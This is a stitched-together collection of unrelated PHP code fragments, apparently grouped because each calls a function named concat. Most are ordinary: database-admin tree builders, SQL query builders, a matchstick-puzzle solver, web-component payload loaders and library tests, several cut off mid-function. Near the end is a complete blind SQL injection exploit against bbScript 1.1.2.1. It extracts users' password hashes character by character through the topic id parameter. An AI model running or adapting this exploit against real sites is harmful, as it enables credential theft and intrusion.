/** * Generate XML for the browser tree. */ function doTree() { global $misc, $data; $casts = $data->getCasts(); $proto = concat(field('castsource'), ' AS ', field('casttarget')); $attrs = array('text' => $proto, 'icon' => 'Cast'); $misc->printTree($casts, $attrs, 'casts'); exit; }
public function getClass(GymEx $ex) { $data = array(); /* @var $gr GymGr */ foreach ($ex->getGroups() as $gr) { $data[] = 'g' . $gr->getId(); } return concat($data); }
/** * Регистрирует решение задачи * * @return bool - признак, был ли ответ привязан к авторизованному пользователю */ public function registerSolution($taskIdent, $matchesStr) { $task = $this->taskByIdent($taskIdent); $matchesStr = normalize_string($matchesStr, true); $mCnt = $task['m']; $sCnt = $task['s']; $cols = $task['c']; $rows = $task['r']; $excluded = $this->strToArray($matchesStr, $mCnt, $cols, $rows); ksort($excluded); //Вычисляем оставшиеся спички (пробегаем по всем точкам и берём правую и верхнюю спичку) $matches = array(); for ($x = 0; $x <= $cols; $x++) { for ($y = 0; $y <= $rows; $y++) { $matchId = $this->matchId($x, $y, $x + 1, $y); if (!array_key_exists($matchId, $excluded) && $x + 1 <= $cols) { $matches[$matchId] = true; } $matchId = $this->matchId($x, $y, $x, $y + 1); if (!array_key_exists($matchId, $excluded) && $y + 1 <= $rows) { $matches[$matchId] = true; } } } $sqCnt = 0; //Скопируем массив $badMatches = $matches; //Вычисляем координаты всех квадратов for ($x = 0; $x < $cols; $x++) { for ($y = 0; $y < $rows; $y++) { //Проверяем точку $endX = $x; $endY = $y; while (++$endX <= $cols && ++$endY <= $rows) { $bounds = $this->isFullSquare($x, $y, $endX, $endY, $matches); if ($bounds) { ++$sqCnt; foreach ($bounds as $key => $val) { unset($badMatches[$key]); } } } } } $badMatches = empty($badMatches) ? false : concat(array_keys($badMatches)); check_condition(!$badMatches, "Bad matches left: [{$badMatches}]"); check_condition($sqCnt == $sCnt, "Invalid squares cnt: [{$sqCnt}], required: [{$sCnt}]."); //Сохраняем в базу $userId = AuthManager::getUserIdOrNull(); //Склеим строку из отсартированных спичек $matchesStr = $this->arrToStr($excluded); //Регистрируем ответ пользователя $ansBindedToUser = MatchesBean::inst()->registerAnswer($taskIdent, $matchesStr, $userId); //Если зарегистрировали, попробуем дать очки if ($ansBindedToUser && $userId) { PL_matches::inst()->givePoints(PsUser::inst()); } //Возвратим признак выданных очков return $ansBindedToUser; }
public function build(&$params = null) { $params = array(); $query[] = 'delete from'; $query[] = $this->table; $query[] = $this->fetchWhere($params); return concat($query); }
public function build(&$params = null) { $params = array(); $query[] = 'insert into'; $query[] = $this->table; $query[] = $this->fetchWhatInsCols(); $query[] = 'values'; $query[] = $this->fetchWhatInsVals($params); return concat($query); }
/** * Generate XML for the browser tree. */ function doTree() { global $misc, $data; $opclasses = $data->getOpClasses(); // OpClass prototype: "op_class/access_method" $proto = concat(field('opcname'), '/', field('amname')); $attrs = array('text' => $proto, 'icon' => 'OperatorClass', 'toolTip' => field('opccomment')); $misc->printTree($opclasses, $attrs, 'opclasses'); exit; }
public function build(&$params = null) { $params = array(); $query[] = 'update'; $query[] = $this->table; $query[] = 'set'; $query[] = $this->fetchWhat($params); $query[] = $this->fetchWhere($params); return concat($query); }
public function build(&$params = null) { $params = array(); $query[] = 'select'; $query[] = $this->what; $query[] = 'from'; $query[] = $this->table; $query[] = $this->fetchWhere($params); $query[] = self::concatQueryTokens('group by', $this->group); $query[] = self::concatQueryTokens('order by', $this->order); $query[] = self::concatQueryTokens('limit', $this->limit); return concat($query); }
function html_65c161fa3974dab7ff9b5b08fa07491e($Cache, $Pile, $doublons = array(), $Numrows = array(), $SP = 0) { if (isset($Pile[0]["doublons"]) and is_array($Pile[0]["doublons"])) { $doublons = nettoyer_env_doublons($Pile[0]["doublons"]); } $connect = ''; $page = ($t1 = strval(invalideur_session($Cache, (function_exists("autoriser") || include_spip("inc/autoriser")) && autoriser('configurer', '_admin_vider') ? " " : "" ? ' ' : ''))) !== '' ? $t1 . (' ' . boite_ouvrir(interdire_scripts(wrap(concat(filtre_balise_img_dist(chemin_image('image-24.png'), '', 'cadre-icone'), _T('info_images_auto')), '<h3>')), 'simple', 'titrem') . '<div id="placehoder_taille_cache_images"><p> <br /> <br /> <br /></p></div> <script type="text/javascript"> jQuery(function(){jQuery(\'#placehoder_taille_cache_images\').animateLoading().load(\'' . invalideur_session($Cache, replace(generer_action_auteur('calculer_taille_cache', 'images'), '&', '&')) . '\');}); </script> <noscript> <iframe src="' . invalideur_session($Cache, generer_action_auteur('calculer_taille_cache', 'images')) . '" style="width: 100%;height: 3em;overflow: hidden;"></iframe> </noscript> ' . boite_pied() . ' ' . bouton_action(_T('public|spip|ecrire:bouton_vider_cache'), invalideur_session($Cache, generer_action_auteur('purger', 'vignettes', invalideur_session($Cache, self()))), 'ajax') . ' ' . boite_fermer() . ' ') : ''; return analyse_resultat_skel('html_65c161fa3974dab7ff9b5b08fa07491e', $Cache, $page, '../prive/squelettes/inclure/admin_vider_images.html'); }
/** * Метод объединяет элементы массива в строку для запроса */ protected static function concatQueryTokens($prefix, $tokens, $glue = ', ', $takeTotallyEmpty = false) { $paramsStr = trim(is_array($tokens) ? concat($tokens, $glue, $takeTotallyEmpty) : $tokens); return $paramsStr ? trim("{$prefix} {$paramsStr}") : ''; }
public function testConcat() { $this->assertEquals("ab", concat("a", "b")); $this->assertEquals("a-b", concat("a", "-", "b")); }
<?php // prerequesites as determined by query (and perhaps device-sniffing), like polyfills and l10n data $prereqs = ''; if (false) { $prereqs = '<script>' . file_get_contents('../../components/webcomponents-lite.min.js') . '</script>'; } // critical segment: always necessary $critical = concat(["src/index.css.html", "src/nav-bar.html", "src/some-content.html", "src/simple-router.html", "src/service-worker.html", "src/google-analytics.html"]); // contextual segment: other modules identified from query $contextual = concat([]); // lazy segment: optional modules $lazy = concat([]); // collect dynamic payload $payload = "{$prereqs} {$critical} {$contextual} {$lazy}"; // main index $index = file_get_contents('index.main.html'); // replace client-side load instruction with constructed payload $index = str_replace('<link rel="import" href="src/imports.html">', $payload, $index); // serve echo $index; // concatenate module-content into a string function concat($modules) { $result = ""; foreach ($modules as $module) { $result .= file_get_contents($module); } return $result; }
/** * Generate XML for the browser tree. */ function doTree() { global $misc, $data; $aggregates = $data->getAggregates(); $proto = concat(field('proname'), ' (', field('proargtypes'), ')'); $reqvars = $misc->getRequestVars('aggregate'); $attrs = array('text' => $proto, 'icon' => 'Aggregate', 'toolTip' => field('aggcomment'), 'action' => url('redirect.php', $reqvars, array('action' => 'properties', 'aggrname' => field('proname'), 'aggrtype' => field('proargtypes')))); $misc->printTree($aggregates, $attrs, 'aggregates'); exit; }
/** * Plucks a property from a collection of associative arrays. * * eg: * Fn\pluck([ * ['name' => 'moe', 'age' => 45], * ['name' => 'larry', 'age' => 55], * ['name' => 'curly', 'age' => 65] * ], 'name') * // ['moe', 'larry', 'curly'] * * @param array[] $collection * @param string $propName * @return mixed */ function pluck(array $collection, $propName) { return array_reduce($collection, function ($vals, $item) use($propName) { return isset($item[$propName]) ? concat($vals, $item[$propName]) : $vals; }, []); }
function next_level_dir($dirs1, $dirs2 = null, $dirs3 = null, $dirs4 = null) { return normalize_path(concat(func_get_args(), DIR_SEPARATOR), DIR_SEPARATOR); }
<?php // prerequesites as determined by query (and perhaps device-sniffing), like polyfills and l10n data $prereqs = ''; if (false) { $prereqs = '<script>' . file_get_contents('../../components/webcomponents-lite.min.js') . '</script>'; } // critical segment: always required for first paint $critical = concat(["../../components/nano/annotations.html", "src/simple-router.html", "l10n.html", "main-css.html"]); // contextual segment: other modules identified from query $contextual = concat([]); // lazy segment: optional modules that we choose to include in the primary payload $lazy = concat(["src/primer-data.html", "src/nav-bar.html", "src/some-content.html", "src/service-worker.html", "src/google-analytics.html"]); // collect dynamic payload $payload = "{$prereqs} {$critical} {$contextual} {$lazy}"; // main index $index = file_get_contents('main.html'); // replace client-side load instruction with constructed payload $index = str_replace('<link rel="import" href="src/imports.html">', $payload, $index); // serve echo $index; // concatenate module-content into a string function concat($modules) { $result = ""; foreach ($modules as $module) { $result .= file_get_contents($module); } return $result; }
/** * database/table administration and tuning tasks * * $Id: admin.php */ function doAdmin($type, $msg = '') { global $script, $data, $misc, $lang; $misc->printTrail($type); $misc->printTabs($type, 'admin'); $misc->printMsg($msg); if ($type == 'database') { printf("<p>{$lang['stradminondatabase']}</p>\n", $misc->printVal($_REQUEST['object'])); } else { printf("<p>{$lang['stradminontable']}</p>\n", $misc->printVal($_REQUEST['object'])); } echo "<table style=\"width: 50%\">\n"; echo "<tr>\n"; echo "<th class=\"data\">"; $misc->printHelp($lang['strvacuum'], 'pg.admin.vacuum') . "</th>\n"; echo "</th>"; echo "<th class=\"data\">"; $misc->printHelp($lang['stranalyze'], 'pg.admin.analyze'); echo "</th>"; if ($data->hasRecluster()) { echo "<th class=\"data\">"; $misc->printHelp($lang['strclusterindex'], 'pg.index.cluster'); echo "</th>"; } echo "<th class=\"data\">"; $misc->printHelp($lang['strreindex'], 'pg.index.reindex'); echo "</th>"; echo "</tr>"; // Vacuum echo "<tr class=\"row1\">\n"; echo "<td style=\"text-align: center; vertical-align: bottom\">\n"; echo "<form action=\"{$script}\" method=\"post\">\n"; echo "<p><input type=\"hidden\" name=\"action\" value=\"confirm_vacuum\" />\n"; echo $misc->form; if ($type == 'table') { echo "<input type=\"hidden\" name=\"table\" value=\"", htmlspecialchars($_REQUEST['object']), "\" />\n"; echo "<input type=\"hidden\" name=\"subject\" value=\"table\" />\n"; } echo "<input type=\"submit\" value=\"{$lang['strvacuum']}\" /></p>\n"; echo "</form>\n"; echo "</td>\n"; // Analyze echo "<td style=\"text-align: center; vertical-align: bottom\">\n"; echo "<form action=\"{$script}\" method=\"post\">\n"; echo "<p><input type=\"hidden\" name=\"action\" value=\"confirm_analyze\" />\n"; echo $misc->form; if ($type == 'table') { echo "<input type=\"hidden\" name=\"table\" value=\"", htmlspecialchars($_REQUEST['object']), "\" />\n"; echo "<input type=\"hidden\" name=\"subject\" value=\"table\" />\n"; } echo "<input type=\"submit\" value=\"{$lang['stranalyze']}\" /></p>\n"; echo "</form>\n"; echo "</td>\n"; // Cluster if ($data->hasRecluster()) { $disabled = ''; echo "<td style=\"text-align: center; vertical-align: bottom\">\n"; echo "<form action=\"{$script}\" method=\"post\">\n"; echo $misc->form; if ($type == 'table') { echo "<input type=\"hidden\" name=\"table\" value=\"", htmlspecialchars($_REQUEST['object']), "\" />\n"; echo "<input type=\"hidden\" name=\"subject\" value=\"table\" />\n"; if (!$data->alreadyClustered($_REQUEST['object'])) { $disabled = 'disabled="disabled" '; echo "{$lang['strnoclusteravailable']}<br />"; } } echo "<p><input type=\"hidden\" name=\"action\" value=\"confirm_cluster\" />\n"; echo "<input type=\"submit\" value=\"{$lang['strclusterindex']}\" {$disabled}/></p>\n"; echo "</form>\n"; echo "</td>\n"; } // Reindex echo "<td style=\"text-align: center; vertical-align: bottom\">\n"; echo "<form action=\"{$script}\" method=\"post\">\n"; echo "<p><input type=\"hidden\" name=\"action\" value=\"confirm_reindex\" />\n"; echo $misc->form; if ($type == 'table') { echo "<input type=\"hidden\" name=\"table\" value=\"", htmlspecialchars($_REQUEST['object']), "\" />\n"; echo "<input type=\"hidden\" name=\"subject\" value=\"table\" />\n"; } echo "<input type=\"submit\" value=\"{$lang['strreindex']}\" /></p>\n"; echo "</form>\n"; echo "</td>\n"; echo "</tr>\n"; echo "</table>\n"; // Autovacuum if ($data->hasAutovacuum()) { // get defaults values for autovacuum $defaults = $data->getAutovacuum(); // Fetch the autovacuum properties from the database or table if != '' if ($type == 'table') { $autovac = $data->getTableAutovacuum($_REQUEST['table']); } else { $autovac = $data->getTableAutovacuum(); } echo "<br /><br /><h2>{$lang['strvacuumpertable']}</h2>"; echo '<p>' . ($defaults['autovacuum'] == 'on' ? $lang['strturnedon'] : $lang['strturnedoff']) . '</p>'; echo "<p class=\"message\">{$lang['strnotdefaultinred']}</p>"; function enlight($f, $p) { if (isset($f[$p[0]]) and $f[$p[0]] != $p[1]) { return "<span style=\"color:#F33;font-weight:bold\">" . htmlspecialchars($f[$p[0]]) . "</span>"; } return htmlspecialchars($p[1]); } $columns = array('namespace' => array('title' => $lang['strschema'], 'field' => field('nspname'), 'url' => "redirect.php?subject=schema&{$misc->href}&", 'vars' => array('schema' => 'nspname')), 'relname' => array('title' => $lang['strtable'], 'field' => field('relname'), 'url' => "redirect.php?subject=table&{$misc->href}&", 'vars' => array('table' => 'relname', 'schema' => 'nspname')), 'autovacuum_enabled' => array('title' => $lang['strenabled'], 'field' => callback('enlight', array('autovacuum_enabled', $defaults['autovacuum'])), 'type' => 'verbatim'), 'autovacuum_vacuum_threshold' => array('title' => $lang['strvacuumbasethreshold'], 'field' => callback('enlight', array('autovacuum_vacuum_threshold', $defaults['autovacuum_vacuum_threshold'])), 'type' => 'verbatim'), 'autovacuum_vacuum_scale_factor' => array('title' => $lang['strvacuumscalefactor'], 'field' => callback('enlight', array('autovacuum_vacuum_scale_factor', $defaults['autovacuum_vacuum_scale_factor'])), 'type' => 'verbatim'), 'autovacuum_analyze_threshold' => array('title' => $lang['stranalybasethreshold'], 'field' => callback('enlight', array('autovacuum_analyze_threshold', $defaults['autovacuum_analyze_threshold'])), 'type' => 'verbatim'), 'autovacuum_analyze_scale_factor' => array('title' => $lang['stranalyzescalefactor'], 'field' => callback('enlight', array('autovacuum_analyze_scale_factor', $defaults['autovacuum_analyze_scale_factor'])), 'type' => 'verbatim'), 'autovacuum_vacuum_cost_delay' => array('title' => $lang['strvacuumcostdelay'], 'field' => concat(callback('enlight', array('autovacuum_vacuum_cost_delay', $defaults['autovacuum_vacuum_cost_delay'])), 'ms'), 'type' => 'verbatim'), 'autovacuum_vacuum_cost_limit' => array('title' => $lang['strvacuumcostlimit'], 'field' => callback('enlight', array('autovacuum_vacuum_cost_limit', $defaults['autovacuum_vacuum_cost_limit'])), 'type' => 'verbatim')); // Maybe we need to check permissions here? $columns['actions'] = array('title' => $lang['stractions']); $actions = array('edit' => array('title' => $lang['stredit'], 'url' => "{$script}?action=confeditautovac&{$misc->href}&subject={$type}&", 'vars' => array('schema' => 'nspname', 'table' => 'relname')), 'delete' => array('title' => $lang['strdelete'], 'url' => "{$script}?action=confdelautovac&{$misc->href}&subject={$type}&", 'vars' => array('schema' => 'nspname', 'table' => 'relname'))); if ($type == 'table') { unset($actions['edit']['vars']['schema'], $actions['delete']['vars']['schema'], $columns['namespace'], $columns['relname']); } $misc->printTable($autovac, $columns, $actions, $lang['strnovacuumconf']); if ($type == 'table' and $autovac->recordCount() == 0) { echo "<br />"; echo "<a href=\"tables.php?action=confeditautovac&{$misc->href}&table=", htmlspecialchars($_REQUEST['table']), "\">{$lang['straddvacuumtable']}</a>"; } } }
public function clean($group = null) { $this->LOGGER->info($group ? "Очистка кеша по группе [{$group}]" : 'Полная очистка кеша'); $this->CACHELITE->clean($group); if ($group) { //Эту группу больше не нужно валидировать $this->TREE->setGroupValidated($group); //Очистим ключи локального хранилища $keys = $this->CACHE->keys(); $removed = array(); $prefix = $this->localCacheGroup($group); foreach ($keys as $key) { if (starts_with($key, $prefix)) { $removed[] = $key; $this->CACHE->remove($key); } } if ($removed) { $this->LOGGER->info('В локальном кеше были удалены следующие ключи: {}.', concat($removed)); } } else { $this->CACHE->clear(); $this->TREE->setAllValidated('Полная очистка кеша'); } }
/** * Returns a sequence of the first item in each collection then the second, etc. */ function interleave() { $arrs = func_get_args(); $firsts = map('v\\first', $arrs); $rests = map('v\\rest', $arrs); if (every(function ($a) { return !empty($a); }, $rests)) { return concat($firsts, apply('v\\interleave', $rests)); } return $firsts; }
expects([nonEmpty, arrayAccess, string], $sequence); return $sequence[0]; } try { first(12); } catch (\InvalidArgumentException $e) { echo $e->getMessage() . "\n"; } // 3. Specify several parameters of the same type function concat($str1, $str2) { expectsAll(string, [$str1, $str2]); return $str1 . $str2; } try { concat(1, 2); } catch (\InvalidArgumentException $e) { echo $e->getMessage() . "\n"; } // 4. Specify type for optional parameter function splitBy($string, $separator = ' ', $limit = null) { expectsAll(string, [$string, $separator]); expectsOptional(int, $string); return explode($separator, $string, $limit); } try { splitBy('hello world', ' ', 'world'); } catch (\InvalidArgumentException $e) { echo $e->getMessage() . "\n"; }
<?php // prerequesites as determined by query (and perhaps device-sniffing), like polyfills and l10n data $prereqs = ''; if (false) { $prereqs = '<script>' . file_get_contents('../../components/webcomponents-lite.min.js') . '</script>'; } // critical segment: always required for first paint $critical = concat(["../../components/polymer/polymer-nano.html", "../../components/icons-simple.html", "../../components/nano-elements/nano-layout.html", "src/polymart-view.html"]); // contextual segment: other modules identified from query $contextual = concat(["src/mart-data.html", "src/nav-bar.html", "../../components/nano-elements/nano-carousel.html", "src/product-view.html", "src/home-view.html", "src/cart-data.html", "src/cart-view.html", "src/cart-item-view.html", "src/grid-layout.html", "src/categories-view.html"]); // optional segment: modules that we choose to include in the primary payload $optional = concat(["../../components/nano-elements/nano-ajax.html", "../../components/nano-elements/nano-serviceworker.html"]); // lazy segment: modules that we choose to load async (but early) $lazy = "\n\n"; $lazy .= implode("\n", ['<link async rel="import" href="src/search-view.html">', '<link async rel="import" href="src/simple-router.html">', '<link async rel="import" href="src/category-view.html">']); // contextual data $data = "\n\n"; $payload = @file_get_contents('mart/cache/payload.json'); if ($payload) { $data .= "<script>window.payload={$payload};</script>\n"; } /* $trends = @file_get_contents('mart/cache/trends'); if ($trends) { $data .= "<script>window.trends=$trends;</script>"; } $vod = @file_get_contents('mart/cache/vod'); if ($vod) { $data .= "\n<script>window.vod=$vod;</script>"; }
/** * Same as `insert` but inserts an array instead of a single item. * ```php * insertAll(2, ['x', 'y'], [1, 2, 3, 4]); // [1, 2, 'x', 'y', 3, 4] * insertAll(-1, ['x', 'y'], [1, 2, 3, 4]); // [1, 2, 3, 'x', 'y', 4] * insertAll(11, ['x', 'y'], [1, 2, 3, 4]); // [1, 2, 3, 4, 'x', 'y'] * insertAll(0, ['x', 'y'], [1, 2, 3, 4]); // ['x', 'y', 1, 2, 3, 4] * insertAll(-11, ['x', 'y'], [1, 2, 3, 4]); // ['x', 'y', 1, 2, 3, 4] * insertAll(2, 'llo', 'He World'); // 'Hello World' * ``` * * @signature Number -> [a] -> [a] -> [a] * @signature Number -> String -> String -> String * @param int $position * @param mixed $items * @param array $list * @return array */ function insertAll() { $insertAll = function ($position, $items, $list) { $length = length($list); if ($position < 0) { $position = $length + $position; } if ($position < 0) { $position = 0; } return $position >= $length ? concat($list, $items) : concatAll([take($position, $list), $items, remove($position, $list)]); }; return apply(curry($insertAll), func_get_args()); }
public function spawnDirectory($subpath, $create = true) { // Try to resolve the path $subpath = tryresolvepath(concat($this->getPath(), SEP, ltrim($subpath, SEP))); if (file_exists($subpath)) { if (is_dir($subpath)) { return new Directory($subpath, $create); } return UNDEFINED; } return new Directory($subpath, $create); }
/** * Метод подключает ресурсы к сущности фолдинга. * Всегда подключаем все ресурсы, ненужные будут выкинуты в процессе финализации страницы. */ public function getResourcesLinks($ident, $content = null) { $this->assertHasAccess($ident); $this->LOGGER->info("Getting resource links for entity [{$ident}]."); $tokens = array(); foreach ($this->RESOURCE_TYPES_LINKED as $type) { $di = $this->getResourceDi($ident, $type); switch ($type) { case self::RTYPE_JS: $tokens[] = PsHtml::linkJs($di); break; case self::RTYPE_CSS: $tokens[] = PsHtml::linkCss($di); break; case self::RTYPE_PCSS: $tokens[] = PsHtml::linkCss($di, 'print'); break; } } //Приаттачим спрайты $sprite = $this->getSprite($ident); $tokens[] = $sprite ? PsHtml::linkCss($sprite->getCssDi()) : ''; //Контент - после ресурсов $tokens[] = $content; return concat($tokens); }
exit(); */ $isChrome = strpos(@$_SERVER[HTTP_USER_AGENT], 'Chrome') !== false && strpos(@$_SERVER[HTTP_USER_AGENT], 'Edge') === false; // prerequesites as determined by query (and perhaps device-sniffing), like polyfills and l10n data $prereqs = ''; if (!$isChrome) { $prereqs = '<script>' . file_get_contents('../../components/webcomponents-lite.min.js') . '</script>'; } $critical = ''; $contextual = ''; $optional = ''; $lazy = ''; $data = ''; $comp = "../../components"; // critical segment: always required for first paint $critical = concat(["{$comp}/nano/nano.html", "{$comp}/icons-simple.html", "{$comp}/nano-elements/nano-layout.html", "src/polymart-view.html"]); /* // contextual segment: other modules identified from query $contextual = concat([ "src/mart-data.html", "src/nav-bar.html", "../../components/nano-elements/nano-carousel.html", "src/product-view.html", "src/home-view.html", "src/grid-layout.html", "src/categories-view.html" ]); // optional segment: modules that we choose to include in the primary payload $optional = concat([ "../../components/nano-elements/nano-ajax.html",
<?php namespace Arrgh; describe('concat()', function () { it('flattens a multi-dimensional array into a single array', function () { expect(concat([[1, 2, 3], [4, 5, 6]]))->toWrap([1, 2, 3, 4, 5, 6]); }); });
/** * Generate XML for the browser tree. */ function doTree() { global $misc, $data; $funcs = $data->getFunctions(); $proto = concat(field('proname'), ' (', field('proarguments'), ')'); $reqvars = $misc->getRequestVars('function'); $attrs = array('text' => $proto, 'icon' => 'Function', 'toolTip' => field('procomment'), 'action' => url('redirect.php', $reqvars, array('action' => 'properties', 'function' => $proto, 'function_oid' => field('prooid')))); $misc->printTree($funcs, $attrs, 'functions'); exit; }
function Aspis_str_replace_single($search, $replace, $subject) { $subj = $subject[0]; $ndl = $search[0]; $ndl_len = strlen($ndl); $indexes = array(); $offset = 0; while (strlen($subj) > 0 && ($i = strpos($subj, $ndl)) !== FALSE) { $indexes[] = $i + $offset; $subj = substr($subj, $i + $ndl_len); $offset += $i + $ndl_len; } $i = 0; if (count($indexes) > 0) { $res = array("", false); foreach ($indexes as $j) { $res = concat($res, array(substr($subject[0], $i, $j - $i), AspisTaintAt($subject[1], $i, $j - $i))); if ($replace !== "") { $res = concat($res, $replace); } $i = $j + $ndl_len; } $res = concat($res, array(substr($subject[0], $i), AspisTaintAt($subject[1], $i))); } else { $res = $subject; } return $res; }
{ $length = strlen($string); $output = ''; for ($i = 0; $i < $length; $i++) { $output .= sprintf("CHAR(%d),", ord($string[$i])); } return 'CONCAT(' . substr($output, 0, -1) . ')'; } echo "\n[~] bbScript <= 1.1.2.1 (id) Blind SQL Injection Exploit"; echo "\n[~] Bug found && exploited by cOndemned\n"; if ($argc != 3) { printf("[!] Usage: php %s <target> <login>\n\n", $argv[0]); exit; } list(, $target, $login) = $argv; echo "[~] Target username set to {$login}\n"; $login = concat($login); $chars = array_merge((array) $chars, range(48, 57), range(97, 102)); $pos = 1; echo "[~] Password Hash : "; while ($pos != 33) { for ($i = 0; $i <= 16; $i++) { $query = "/index.php?action=showtopic&id=1+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username={$login}),{$pos},1)=CHAR({$chars[$i]})--"; if (!preg_match('#Error#', file_get_contents($target . $query), $resp)) { printf("%s", chr($chars[$i])); $pos++; break; } } } echo "\n[~] Done\n\n";
/** * Generate XML for the browser tree. */ function doTree() { global $misc, $data; $operators = $data->getOperators(); // Operator prototype: "type operator type" $proto = concat(field('oprleftname'), ' ', field('oprname'), ' ', field('oprrightname')); $reqvars = $misc->getRequestVars('operator'); $attrs = array('text' => $proto, 'icon' => 'Operator', 'toolTip' => field('oprcomment'), 'action' => url('operators.php', $reqvars, array('action' => 'properties', 'operator' => $proto, 'operator_oid' => field('oid')))); $misc->printTree($operators, $attrs, 'operators'); exit; }